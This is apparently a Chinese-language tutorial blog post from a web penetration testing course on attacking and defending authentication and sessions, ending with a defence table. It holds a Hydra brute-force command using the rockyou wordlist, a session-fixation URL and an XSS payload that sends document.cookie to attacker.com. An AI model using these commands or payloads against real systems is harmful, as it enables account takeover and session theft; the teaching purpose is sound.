在 Web 安全体系中,身份认证是第一道防线,会话管理则是贯穿整个访问生命周期的核心机制。本文基于《Web渗透测试》项目四,从常见的认证绕过手段入手,实战演示暴力破解、会话固定与会话劫持,并结合工具原理与防御方案,构建一套完整的身份安全攻防思路。
一、身份认证的三大误区
很多开发者误以为“加了登录页就是安全的”,实际上常见误区包括:
-
弱口令无限制尝试
-
Session ID 可预测或未过期
-
仅靠 Cookie 判断权限
这些错误直接导致了 暴力破解、会话劫持、垂直越权 等高风险漏洞。
二、实战一:基于 Hydra 的暴力破解
在课程实验中,我们使用 Hydra 对存在弱口令的登录接口进行爆破。
2.1 常用命令
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
2.2 实战要点
-
-l:指定用户名 -
-P:指定密码字典 -
F=incorrect:根据返回内容判断失败条件
三、实战二:Burp Suite 验证码绕过与爆破
部分站点引入验证码,但实现不当仍可被绕过:
-
验证码不失效(多次请求复用)
-
验证码在前端校验
-
验证码长度过短
使用 Burp Intruder 可轻松实现:
-
Pitchfork:多参数同步爆破
-
Cluster bomb:用户名 × 密码组合
四、实战三:会话固定与会话劫持
4.1 会话固定(Session Fixation)
攻击者诱导用户使用指定 Session ID 登录:
https://example.com/login?PHPSESSID=attacker_id
用户登录后,攻击者即可使用该 ID 接管会话。
4.2 会话劫持
通过 XSS 或流量劫持窃取 Cookie
javascript:
<script>document.location='http://attacker.com/?c='+document.cookie</script>
五、工具原理简析
为什么爆破工具能成功?
for user in users:
for pwd in passwords:
send_request(user, pwd)
if response == success:
save_result()
本质是 穷举 + 特征匹配,防御的核心就是打破这个循环。
六、防御方案
| 层级 | 措施 |
|---|---|
| 认证层 | 登录失败次数限制、验证码、MFA |
| 会话层 | 登录后重置 Session ID |
| 传输层 | HTTPS + HttpOnly + Secure Cookie |
| 审计层 | 异常登录告警 |
七、总结
身份认证不是“有没有登录”,而是“谁能以什么方式登录多久”。

160

被折叠的 条评论
为什么被折叠?



